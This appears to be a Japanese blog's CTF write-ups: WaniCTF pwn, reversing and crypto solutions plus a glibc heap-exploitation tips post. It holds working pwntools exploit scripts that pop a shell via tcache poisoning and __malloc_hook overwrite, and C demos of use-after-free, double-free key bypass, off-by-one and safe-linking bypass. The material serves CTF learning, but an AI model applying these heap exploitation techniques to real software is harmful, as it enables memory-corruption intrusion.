0x7fffffffdc40: 0x0000000000000069      0x00007ffff7fb86a0
0x7fffffffdc50: 0x0000555555556070      0x00007ffff7e5371a
0x7fffffffdc60: 0x00005555555557a0      0x00007fffffffde50
0x7fffffffdc70: 0x0000555555555180      0x00007fffffffdf40
0x7fffffffdc80: 0x0000000000000000      0x0000555555555676
0x7fffffffdc90: 0x0000000000000000      0x0000000000000000
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcb0: 0x0000000200000001      0x0000000400000003  <- rod
0x7fffffffdcc0: 0x0000000600000005      0x0000000800000007
0x7fffffffdcd0: 0x0000000a00000009      0x0000000c0000000b
0x7fffffffdce0: 0x0000000e0000000d      0x000000100000000f
0x7fffffffdcf0: 0x0000001200000011      0x0000001400000013
0x7fffffffdd00: 0x0000001600000015      0x0000001800000017
0x7fffffffdd10: 0x0000001a00000019      0x0000001c0000001b
0x7fffffffdd20: 0x0000001e0000001d      0x000000200000001f
0x7fffffffdd30: 0x0000000000000000      0x0000000000000000
0x7fffffffdd40: 0x0000000000000000      0x0000000000000000
0x7fffffffdd50: 0x0000000000000000      0x0000000000000000
0x7fffffffdd60: 0x0000000000000000      0x0000000000000000
0x7fffffffdd70: 0x0000000000000000      0x0000000000000000
0x7fffffffdd80: 0x0000000000000000      0x0000000000000000
0x7fffffffdd90: 0x0000000000000000      0x0000000000000000
0x7fffffffdda0: 0x0000000000000000      0x0000000000000000
0x7fffffffddb0: 0x0000000000000000      0x0000000000000000
0x7fffffffddc0: 0x0000000000000000      0x0000000000000000
0x7fffffffddd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdde0: 0x0000000000000000      0x0000000000000000
0x7fffffffddf0: 0x0000000000000000      0x0000000000000000
0x7fffffffde00: 0x0000000000000000      0x0000000000000000
0x7fffffffde10: 0x0000000000000000      0x0000000000000000
0x7fffffffde20: 0x0000000000000000      0x0000000000000000  <- rod[2][HANOI_SIZE - 1]
0x7fffffffde30: 0x0000003f0000003f      0x0000003f0000003f  <- name
0x7fffffffde40: 0x0000001f00000000      0x000000000000001f  <- rod_pivot

上のように, nameに0x3f(=(0x80*2-0x4)/4)を書き込んで, @Cを入力することで, rod_pivot[-1]=0x3f, rod[-1][pivot[-1]]=rod[-1][0x3f]=0x20となり, rod[0][HANOI_SIZE - 1]rod[2][HANOI_SIZE - 1]が条件を満たします。

from pwn import * 

# p = process('pwn07')
p = remote('hanoi.pwn.wanictf.org', 9007)

payload = p32(0x3f) * 4

p.sendafter('Name : ', payload)

p.sendlineafter('Move > ', '@C')

p.interactive()
$ python3 solve.py 
[+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done
[*] Switching to interactive mode
Moving...
Moved 32 from @ to C
Top and bottom of the each rod
  A     B     C
  1     0    32
 ...............
  0     0    32
Move > $ DD
Moving...
That rod isn't where you can access!
How fast you are!!
FLAG{5up3r_f457_h4n01_501v3r}

flag: FLAG{5up3r_f457_h4n01_501v3r}

08 Gacha Breaker

libc leak

int* gacha(int** list, int n, int k, int* count) {
  int* gacha_result;
  int prob_man;  // Probability Manipulaton : increase possibility of overlapped
                 // result
  srand(time(0));

  printf("Doki Doki .....\n");
  sleep(1);
  gacha_result = malloc(sizeof(int) * k);
  printf("Your gacha No.%d\nresults :", n);
  prob_man = (1 < k - 4 ? k - 4 : k);
  for (int i = 0; i < prob_man; i++) {
    gacha_result[i] = rand() % 0x10000;
    printf(" [%#x]", gacha_result[i]);
  }
  for (int i = prob_man; i < k; i++) {      // 0 ~ 4
    if (n > 1 && count[n - 2] > 3)
      gacha_result[i] = list[n - 2][k - i - 1];
    else
      gacha_result[i] = rand() % 0x10000;
    printf(" [%#x]", gacha_result[i]);
  }
  printf("\n\n");
  return gacha_result;
}

kが6以上の場合, n-2番目のチャンクの内容をn番目のチャンクに書き込めます。
以下の順でgachaとfreeをします。()内の数は何番目のチャンクかを示しています。

  • Unsorted binに繋がるように1200でgacha (0)
  • 0x30のチャンクを作るために10でgacha (1)
  • free (0)がUnsorted binに, (1)がtcacheに繋がれる。
  • 10でgacha (2) Unsorted binに繋がれている0番目のチャンクの内容が書き込まれる。

2番目のチャンクにmain_arenaのアドレスが書き込まれます。
以上から計算によってlibcのアドレスがわかります。

Overwrite __malloc_hook

ceilingでUse After Freeができます。
tcache poisoningで__malloc_hookを書き換えます。(__free_hookだと失敗した。)
以下の順でgachaとfreeとceilingをします。

  • 10でgacha (3)
  • free 0x30のtcacheは (2) -> (3)となる。
  • ceilingで(2)に__malloc_hookを書き込む。0x30のtcacheは (2) -> __malloc_hookとなる。
  • 10でgacha (4) (2)の領域が返る。
  • 10でgacha (5) __malloc_hookが返る。
  • ceilingで(5)にOne Gadgetを書き込む。
  • 1でgacha (6) シェルが起動する。
from pwn import *

# p = process('pwn08')
# p = remote('localhost', 7777)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = remote('gacha.pwn.wanictf.org', 9008)
libc = ELF('libc-2.31.so')

one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84]

def gacha(count):
    p.sendlineafter('>', '1')
    p.sendlineafter('times? :', str(count))

def view():
    p.sendlineafter('>', '2')
    p.recvuntil('Gacha\n')
    return p.recvline()

def clear():
    p.sendlineafter('>', '3')

def ceiling(a, b, c):
    p.sendlineafter('>', '4')
    p.sendlineafter('>', str(a))
    p.sendlineafter('>', str(b))
    p.sendlineafter('>', str(c))

gacha(1200)
gacha(0x28//4)
clear()
gacha(0x28//4)
leaks = view().decode().split(' ')
libc.address = int(leaks[-3][1:-1]+leaks[-2][3:-1], 16) - 0x1ebbe0
print(hex(libc.address))
# for i in range(4):
#     gacha(1)

# gacha(0x28//4)
gacha(0x28//4)
clear()
ceiling(2, 0, int(hex(libc.symbols['__malloc_hook'])[-8:], 16))
ceiling(2, 1, int(hex(libc.symbols['__malloc_hook'])[2:6], 16))
gacha(0x28//4)
gacha(0x28//4)
ceiling(5, 0, int(hex(libc.address + one_gadget[1])[-8:], 16))
ceiling(5, 1, int(hex(libc.address + one_gadget[1])[2:6], 16))
gacha(1)

p.interactive()

flag: FLAG{G4ch4_15_3v1l_bu7_c4n7_5t0p}

Reversing

secret

stringsするとkeyぽい文字列が見つかりました。

$ strings ./secret

Input secret key : 
Incorrect
wani_is_the_coolest_animals_in_the_world!
Correct! Flag is %s

入力したらフラグが出力されました。

$ ./secret 

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

flag: FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

main.sを読むとスタックに何か書き込んで出力していることがわかります。
デコードするとフラグがわかります。

l = [7941081424088616006, 7311705455698409823, 3560223458505028963, 35295634984951667]
flag = ""
for i in l:
    s = reversed(bytes.fromhex(hex(i)[2:]).decode())
    for c in s:
        flag += c
print(flag)

flag: FLAG{c4n_y0u_execu4e_th1s_fi1e}

timer

timerが終わらないのでGDBでスキップします。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000014ef <+0>:     endbr64 
   0x00000000000014f3 <+4>:     push   rbp
   0x00000000000014f4 <+5>:     mov    rbp,rsp
   0x00000000000014f7 <+8>:     call   0x141a <show_description>
   0x00000000000014fc <+13>:    call   0x149d <timer>
   0x0000000000001501 <+18>:    call   0x1170 <super_complex_flag_print_function>
   0x0000000000001506 <+23>:    mov    eax,0x0
   0x000000000000150b <+28>:    pop    rbp
   0x000000000000150c <+29>:    ret    
End of assembler dump.
gdb-peda$ b *main+13
gdb-peda$ r
gdb-peda$ jump *main+18
The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"

flag: FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

Ghidraでデコンパイルすると, checkでライセンスファイルの内容をチェックしていることがわかります。しかし, checkは複雑で自力で解析するのは厳しいので, 問題文にもあるようにangrを使いました。ただ、脳死angrしかやったことがなかったためいろいろ参考にさせて頂きました。
参考1
参考2

import angr
import claripy

addr = 0x405e66
input_path = './key.dat'
proj = angr.Project('./licence', load_options={"auto_load_libs": False})
state = proj.factory.entry_state(args=[proj.filename, input_path])


simgr = proj.factory.simulation_manager(state)
simgr.explore(find=addr)
state = simgr.found[0]
print(state.posix.dump_file_by_path(input_path))

flag: FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}

感想

昨年解けなかったヒープ問が解けて嬉しかったです。
解いてるときにSecHack365の電話がかかってきてとても動揺してしまいました。

がんばります…!!!

【CTF】 Heap Exploit Tips

Heap問で個人的にハマったところをまとめました。

環境

glibc 2.31はWSLのUbuntuで動かしました。それ以外はDockerのUbuntuで動かしました。

glibc 2.23 (Ubuntu 16.04)

# /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.2) stable release version 2.23, by Roland McGrath et al.

glibc 2.27 (Ubuntu 18.04)

# /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.

glibc 2.31 (Ubuntu 20.04)

$ /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.1) stable release version 2.31.

glibc 2.32 (Ubuntu 21.04)

# /lib/x86_64-linux-gnu/libc.so.6 
GNU C Library (Ubuntu GLIBC 2.32-0ubuntu6) stable release version 2.32.

tcache

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    free(a);
    free(b);
}

mallocしてfreeするだけです。GDBで2回freeした後のメモリを見ていきます。

glibc 2.23

(gdb) i proc map
(gdb) x/10gx 0x55a81ef6f000
0x55a81ef6f000: 0x0000000000000000      0x0000000000000021
0x55a81ef6f010: 0x0000000000000000      0x0000000000000000      <- a
0x55a81ef6f020: 0x0000000000000000      0x0000000000000021
0x55a81ef6f030: 0x000055a81ef6f000      0x0000000000000000      <- b
0x55a81ef6f040: 0x0000000000000000      0x0000000000020fc1

glibc 2.25以前だと0x80バイト以下の領域を解放するとfastbinという単方向リストに格納されます。2つのチャンクの下にはtopという大きなチャンクがあります。

glibc 2.27

(gdb) i proc map
(gdb) x/12gx 0x55f33d01a000
0x55f33d01a000: 0x0000000000000000      0x0000000000000251
0x55f33d01a010: 0x0000000000000002      0x0000000000000000
0x55f33d01a020: 0x0000000000000000      0x0000000000000000
0x55f33d01a030: 0x0000000000000000      0x0000000000000000
0x55f33d01a040: 0x0000000000000000      0x0000000000000000
0x55f33d01a050: 0x000055f33d01a280      0x0000000000000000
(gdb) x/10gx 0x55f33d01a000+0x250
0x55f33d01a250: 0x0000000000000000      0x0000000000000021
0x55f33d01a260: 0x0000000000000000      0x000055f33d01a010      <- a
0x55f33d01a270: 0x0000000000000000      0x0000000000000021
0x55f33d01a280: 0x000055f33d01a260      0x000055f33d01a010      <- b
0x55f33d01a290: 0x0000000000000000      0x0000000000020d71

glibc 2.26以降では0x410バイト以下の領域を解放するとtcacheにという単方向リストに格納されます。tcacheでは、サイズごとのチャンクの個数とリストの末尾を格納する管理領域が確保されます。上の例では0x55f33d01a010からの領域です。bkの位置には何か値が書き込まれています。(後述)

glibc 2.31

gdb-peda$ vmmap
gdb-peda$ x/20gx 0x555555559000
0x555555559000: 0x0000000000000000      0x0000000000000291
0x555555559010: 0x0000000000000002      0x0000000000000000
0x555555559020: 0x0000000000000000      0x0000000000000000
0x555555559030: 0x0000000000000000      0x0000000000000000
0x555555559040: 0x0000000000000000      0x0000000000000000
0x555555559050: 0x0000000000000000      0x0000000000000000
0x555555559060: 0x0000000000000000      0x0000000000000000
0x555555559070: 0x0000000000000000      0x0000000000000000
0x555555559080: 0x0000000000000000      0x0000000000000000
0x555555559090: 0x00005555555592c0      0x0000000000000000
gdb-peda$ x/10gx 0x555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000021
0x5555555592a0: 0x0000000000000000      0x0000555555559010      <- a
0x5555555592b0: 0x0000000000000000      0x0000000000000021
0x5555555592c0: 0x00005555555592a0      0x0000555555559010      <- b
0x5555555592d0: 0x0000000000000000      0x0000000000020d31      

glibc 2.30以降では、管理領域が若干大きくなっています。glibc 2.29以降では、bkの位置にkeyとしてtcacheの管理領域のアドレスが書き込まれます。上のglibc 2.27の例でもなぜか書き込まれています。

glibc 2.32

(gdb) x/10gx 0x55a3299f2000+0x290
0x55a3299f2290: 0x0000000000000000      0x0000000000000021
0x55a3299f22a0: 0x000000055a3299f2      0x000055a3299f2010      <- a
0x55a3299f22b0: 0x0000000000000000      0x0000000000000021
0x55a3299f22c0: 0x000055a673adbb52      0x000055a3299f2010      <- b
0x55a3299f22d0: 0x0000000000000000      0x0000000000020d31      

glibc 2.32以降では、fd(next)に以下のマクロが適用されます。

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

例えば、bのfdの値は

(0x55a3299f22c0>>12)^0x55a3299f22a0 = 0x55a673adbb52

となります。

Use After Free

#include<stdio.h>
#include<stdlib.h>

int main(){
    int k;
    printf("k: %p\n", &k);

    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    printf("a: %p\n", a);
    printf("b: %p\n", b);
    free(a);

    // Use After Free
    *(unsigned long *)a = (unsigned long)&k;

    char *c = (char *)malloc(0x18);
    char *d = (char *)malloc(0x18);
    printf("c: %p\n", c);
    printf("d: %p\n", d);
}

freeした領域にkのアドレスを書き込むことでtcacheのリストを改竄しています。

glibc 2.27

# ./uaf 
k: 0x7ffe5f5b0fc4
a: 0x56181b62f670
b: 0x56181b62f690
c: 0x56181b62f670
d: 0x7ffe5f5b0fc4

fdを書き換えることでkの領域を確保しています。

glibc 2.31

$ ./uaf 
k: 0x7ffc0d8fb1c4
a: 0x557cc0c776b0
b: 0x557cc0c776d0
c: 0x557cc0c776b0
d: 0x557cc0c776f0

kの領域が確保できてません。glibc 2.29以前では、tcacheの末尾がNULLの場合、tcacheは空だと認識されます。上のglibc 2.27の例では、fdの部分にアドレスを書き込んだため空とは認識されず、同じサイズをmallocしたときにそのサイズのtcacheから領域が確保されます。glibc 2.30以降では、tcacheのカウンタが0の場合、空だと認識されます。tcacheのカウンタはmallocしたときに減って、freeしたときに増えます。上の例では、cmallocのときにカウンタが0になるため、dmallocのときには別のところから領域が確保されます。

Double Free (tcache)

2回同じ領域を解放することでいろいろ悪いことができます。

#include<stdio.h>
#include<stdlib.h>

int main(){
    int k;
    printf("k: %p\n", &k);

    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    printf("a: %p\n", a);
    printf("b: %p\n", b);
    free(a);
    free(b);

    // *(unsigned long *)(b+0x8) = 0xdeadbeef;     // keyの書き換え

    // Double Free
    free(b);

    char *c = (char *)malloc(0x18);
    printf("c: %p\n", c);

    *(unsigned long *)c = (unsigned long)&k;
    // *(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降

    char *d = (char *)malloc(0x18);
    char *e = (char *)malloc(0x18);
    printf("d: %p\n", d);
    printf("e: %p\n", e);
}

2回同じ領域をfreeした後にmallocすることでtcache内のチャンクを確保しています。確保した領域にkのアドレスを書き込むことでtcacheのリストを改竄しています。

glibc 2.27

# ./doublefree 
k: 0x7fff642c50bc
a: 0x556f5a3c9670
b: 0x556f5a3c9690
free(): double free detected in tcache 2
Aborted

うまくいくと思ってたのですが、Double Freeが検知されてしまいました。glibc 2.29以前では、tcacheのDouble Freeのチェックがありませんでしたが、最新のUbuntu 18.04のglibc 2.27ではチェックがあるようです。
keyを書き換えることでこのチェックをバイパスできます。下のコードを有効にしてkeyを書き換えてみます。

*(unsigned long *)(b+0x8) = 0xdeadbeef;     // keyの書き換え
# ./doublefree
k: 0x7ffc294145ec
a: 0x561988412670
b: 0x561988412690
c: 0x561988412690
d: 0x561988412690
e: 0x7ffc294145ec

Double Freeが検知されず、kの領域を確保できました。

glibc 2.31

$ ./doublefree 
k: 0x7ffd85ebcd8c
a: 0x5641e2f1c6b0
b: 0x5641e2f1c6d0
c: 0x5641e2f1c6d0
d: 0x5641e2f1c6d0
e: 0x7ffd85ebcd8c

上と同様にkeyを書き換えてチェックをバイパスしています。

glibc 2.32

glibc 2.32以降では、fdの値にマクロが適用されます。また、tcacheかfastbinからチャンクを確保するときにalignのチェックがあります。下のコードを有効にしてfdを書き換えます。

*(unsigned long *)c = ((unsigned long)c>>12) ^ ((unsigned long)&k+0x34); // 2.32以降
# ./doublefree 
k: 0x7fff0aab533c
a: 0x55cfb76bc6b0
b: 0x55cfb76bc6d0
c: 0x55cfb76bc6d0
d: 0x55cfb76bc6d0
e: 0x7fff0aab5370
Segmentation fault

kのアドレスはalignされていないので、rbpのアドレスを使いました。最後に落ちていますが深追いしないことにします。

Double Free (fastbin)

上のtcacheのDouble Freeの例ではUAFを使ってkeyを書き換えました。UAFができないときを想定して、fastbinのDouble Freeをやってみます。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *p[10] = {};
    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18);

    int k;
    printf("k: %p\n", &k);

    char *a = (char *)malloc(0x18);
    char *b = (char *)malloc(0x18);
    printf("a: %p\n", a);
    printf("b: %p\n", b);

    for(int i=0; i<7; i++) free(p[i]);  // tcacheを埋める

    free(a);
    free(b);
    free(a);    // Double Free

    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x18);     // tcacheから確保

    char *c = (char *)malloc(0x18);     // fastbinから確保
    printf("c: %p\n", c);

    *(unsigned long *)c = (unsigned long)&k;

    char *d = (char *)malloc(0x18);
    char *e = (char *)malloc(0x18);
    char *f = (char *)malloc(0x18);
    printf("d: %p\n", d);
    printf("e: %p\n", e);
    printf("f: %p\n", f);
}

fastbinを使うため、tcacheを埋めます。fastbinにチャンクを格納するときfastbinの末尾のチャンクと異なるかをチェックします。上の例では、直前に別の領域を解放することでこのチェックをバイパスしています。

glibc 2.23

# ./doublefree
k: 0x7fff4816575c
a: 0x55d3f6116420
b: 0x55d3f6116440
*** Error in `./doublefree': double free or corruption (fasttop): 0x000055d3f6116440 ***

glibc 2.23には、tcacheがないのでtcacheの処理は必要ないです。うまくいくと思ってたのですが、Double Freeが検知されてしまいました。fastbinに格納するチャンクがあるとDouble Freeが検知されるみたいです。

glibc 2.31

$ ./doublefree
k: 0x7fffe586b3b0
a: 0x55bdf61d4790
b: 0x55bdf61d47b0
c: 0x55bdf61d4790
d: 0x55bdf61d47b0
e: 0x55bdf61d4790
f: 0x7fffe586b3b0

Double Freeは検知されず、kの領域を確保できました。

統合

チャンクが格納されるとき前後の未使用のチャンクが統合されます。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a = (char *)malloc(0x418);
    char *b = (char *)malloc(0x418);
    char *c = (char *)malloc(0x418);
    free(b);
    free(a);
    free(c);
}

glibc 2.31

1回目のfreeの後を見てみます。

gdb-peda$ vmmap
gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000421
0x5555555592a0: 0x0000000000000000      0x0000000000000000      <- a
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000000      0x0000000000000421
0x5555555596c0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- b
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420
0x555555559ad0: 0x0000000000000420      0x0000000000000420
0x555555559ae0: 0x0000000000000000      0x0000000000000000      <- c
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420
0x555555559ef0: 0x0000000000000000      0x0000000000020111
0x555555559f00: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7fb7be0
0x7ffff7fb7be0 <main_arena+96>: 0x0000555555559ef0

bはunsorted binに格納されていて、fdとbkはmain_arena+0x60を指しています。cのprev_sizeにbのサイズが書き込まれ、PREV_INUSEが0になっていることが確認できます。
2回目のfreeの後を見てみます。

gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000841
0x5555555592a0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- a
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000000      0x0000000000000421
0x5555555596c0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- b
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420
0x555555559ad0: 0x0000000000000840      0x0000000000000420
0x555555559ae0: 0x0000000000000000      0x0000000000000000      <- c
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x420+0x420+0x420
0x555555559ef0: 0x0000000000000000      0x0000000000020111
0x555555559f00: 0x0000000000000000      0x0000000000000000

abが統合され、0x840のチャンクがunsorted binに格納されています。それに伴いcのprev_sizeが書き換えられていることが確認できます。
3回目のfreeの後を見てみます。

gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000020d71
0x5555555592a0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0

ccの上にある0x840のチャンクがtopに統合されます。

切り出し

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a = (char *)malloc(0x418);
    char *b = (char *)malloc(0x18);     // topと統合しないように
    free(a);

    char *c = (char *)malloc(0x18);
}

glibc 2.31

freeした後を見てみます。

gdb-peda$ vmmap
gdb-peda$ x/4gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000421
0x5555555592a0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      <- a
gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000420      0x0000000000000020 
0x5555555596c0: 0x0000000000000000      0x0000000000000000      <- b
0x5555555596d0: 0x0000000000000000      0x0000000000020931

aはunsorted binに格納されています。
mallocした後を見てみます。

gdb-peda$ x/8gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000021
0x5555555592a0: 0x00007ffff7fb7fd0      0x00007ffff7fb7fd0      <- c
0x5555555592b0: 0x0000555555559290      0x0000000000000401
0x5555555592c0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0      
gdb-peda$ x/6gx 0x0000555555559000+0x290+0x420
0x5555555596b0: 0x0000000000000400      0x0000000000000020
0x5555555596c0: 0x0000000000000000      0x0000000000000000      <- b
0x5555555596d0: 0x0000000000000000      0x0000000000020931

aから切り出されています。残りのチャンクはunsorted binに格納されています。

偽装チャンク

偽装チャンクをつくってunsorted binに格納し、main_arenaのアドレスをリークします。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *a[10] = {};

    for(int i=0; i<10; i++) a[i] = (char *)malloc(0x78);

    *(unsigned long *)(a[0]+0x8) = 0x471;

    free(a[0]+0x10);

    printf("main_arena: %p\n", *(void **)(a[0]+0x10)-0x60);
}

glibc 2.31

$ ./fakechunk
main_arena: 0x7ffff7fb7b80

freeした後のメモリを見てみます。

gdb-peda$ x/6gx 0x0000555555559000+0x290
0x555555559290: 0x0000000000000000      0x0000000000000081
0x5555555592a0: 0x0000000000000000      0x0000000000000471      <- a[0]
0x5555555592b0: 0x00007ffff7fb7be0      0x00007ffff7fb7be0
gdb-peda$ x/4gx 0x0000555555559000+0x290+0x80*9
0x555555559710: 0x0000000000000470      0x0000000000000080
0x555555559720: 0x0000000000000000      0x0000000000000000      <- a[9]

9個の0x80のチャンクを使って0x470(=0x80*9-0x10)のチャンクをつくっています。a[0]+0x10を解放することでunsorted binに格納しています。10個目はtopとの統合を防ぐために使っています。

Off By One

1バイトだけ書き換えてmain_arenaのアドレスをリークします。

#include<stdio.h>
#include<stdlib.h>

int main(){
    char *p[20] = {};

    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88);
    for(int i=0; i<7; i++) p[i+7] = (char *)malloc(0xf8);

    char *a = (char *)malloc(0x88);
    char *b = (char *)malloc(0x18);
    char *c = (char *)malloc(0xf8);
    p[14] = (char *)malloc(0x18);

    for(int i=0; i<14; i++) free(p[i]);     // tcacheを埋める

    free(a);    // unsorted binに格納される

    *(unsigned long *)(b+0x10) = 0xb0;      // cのprev_size
    *(char *)(b+0x18) = 0;  // cのsizeの下位1バイト

    free(c);    

    for(int i=0; i<7; i++) p[i] = (char *)malloc(0x88);     // tcacheから確保
    p[8] = (char *)malloc(0x88);
    printf("main_arena: %p\n", *(void **)b-0x60);
}

glibc 2.27

# ./offbyone 
main_arena: 0x7fea60f3dc40

free(c)前のメモリを見てみます。

(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7
0x55c8083ead40: 0x0000000000000000      0x0000000000000091      
0x55c8083ead50: 0x00007fea60f3dca0      0x00007fea60f3dca0      <- a
(gdb) x/8gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90
0x55c8083eadd0: 0x0000000000000090      0x0000000000000020
0x55c8083eade0: 0x0000000000000000      0x0000000000000000      <- b
0x55c8083eadf0: 0x00000000000000b0      0x0000000000000100
0x55c8083eae00: 0x0000000000000000      0x0000000000000000      <- c

aはunsorted binに格納されています。cのprev_sizeとPREV_INUSEが書き換えられていることが確認できます。
free(c)後のメモリを見てみます。

(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7
0x55c8083ead40: 0x0000000000000000      0x00000000000001b1      
0x55c8083ead50: 0x00007fea60f3dca0      0x00007fea60f3dca0      <- a

PREV_INUSEが0であるため、直前のチャンクと統合されます。cのprev_sizeは0xb0であるためa(0x90)とb(0x20)を合わせた領域が1つのチャンクとみなされてcと統合されます。
p[8] = (char *)malloc(0x88);後のメモリを見てみます。

(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7
0x55c8083ead40: 0x0000000000000000      0x0000000000000091      
0x55c8083ead50: 0x00007fea60f3de40      0x00007fea60f3de40      <- a, p[8]
(gdb) x/4gx 0x55c8083ea000+0x250+0x90*7+0x100*7+0x90
0x55c8083eadd0: 0x0000000000000090      0x0000000000000121
0x55c8083eade0: 0x00007fea60f3dca0      0x00007fea60f3dca0      <- b
(gdb) x/gx 0x00007fea60f3dca0
0x7fea60f3dca0 <main_arena+96>: 0x000055c8083eaf10

0x1b0のチャンクから切り出されています。残りのチャンクはunsorted binに格納されています。また、残りのチャンクはbとして使えます。

glibc 2.31

$ ./offbyone 
corrupted size vs. prev_size while consolidating
中止

glibc 2.29以降では、aのsizeとcのprev_sizeのチェックがあるのでabortします。

参考

Malleus CTF Pwn
【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観 - newbieからバイナリアンへ
https://elixir.bootlin.com/glibc/glibc-2.32/source/malloc/malloc.c

WaniCTF 2020 Writeup

2020/11/21から行われた大阪大学のWani Hackaseが主催のWaniCTF2020に参加しました. 初心者向けということもありたくさん解けて楽しかったです. 特に予定もなかったのでゲームや散歩をしたりアイマス三昧を聞きながらのんびり解いてました. 最終的には1問以外解けて11位でした.

f:id:shirataki64225:20201124175043p:plain
たくさん称号をもらえた😀
f:id:shirataki64225:20201124180006p:plain
https://wanictf.org/2020.html

運営の方のWriteupはこちら.

Crypto

Veni, vidi (Beginner)

SYNT{fvzcyr_pynffvpny_pvcure}

ROT13.
flag: FLAG{simple_classical_cipher}

exclusive (Easy)

keyとフラグをXORしています.
フラグの先頭はFLAGなのでkeyを特定できます.
あとはkeyとエンコードされたフラグをXORしてあげればいいです.

encoded_flag=""
with open('./output.txt') as f:
    encoded_flag=f.read()

key="".join([chr(ord(s)^ord(t)) for s,t in zip(encoded_flag,"FLAG")])

key=key[0:3]*19

flag="".join([chr(ord(s)^ord(t)) for s,t in zip(key,encoded_flag)])
print(flag)

flag: FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}

Basic RSA (Normal)

RSA暗号.
Wikiを見ながら解きました.

p=3395691611470965703248776690605631448210299347525030739228383525429324385673465720215627828854181787361366362304515818652121445125278579357291889059651248
q=3110746220571338886416585682818815247453643126964736278072889659177722129615307761446287972409358505242287263598670729290153892071235119046274192564544254

print(p*q)
m=223603686361314586714175565871625848629
e=65537
n=85894259982529774534738977512733247714575520196254720913324021194094962152093953247879110941289388438916327114583817283655596379699397163641937867204006249561822624997027786327017002617537748647387480295462871562217712352315647462266777353450197526216711345361335921281252390277349962674385212195975103527777

print(pow(m,e,n))
p=6941228073710029272709931137126763438896483442698940990387243132086539886565332310623278297429296964091830499215076168232957587276633995785795367241187693
q=8314548613078997011281833094994872127908947348619085044230773215969081721637277929673458305974929666111150247442477357318728654270865385085868340198394011
e=65537
c=34155694723114745250570407342098680267767914080937033675260980008802140827057809636727955655591284380292073512092481470054846682913463633517157610001381562071683975564393928314130271495248909366020791191802272883456401224599207479144661271136616263900027260888317855839786370965495539570774984514060582796682
d=inverse(e,(p-1)*(q-1))

print(pow(c,d,p*q))

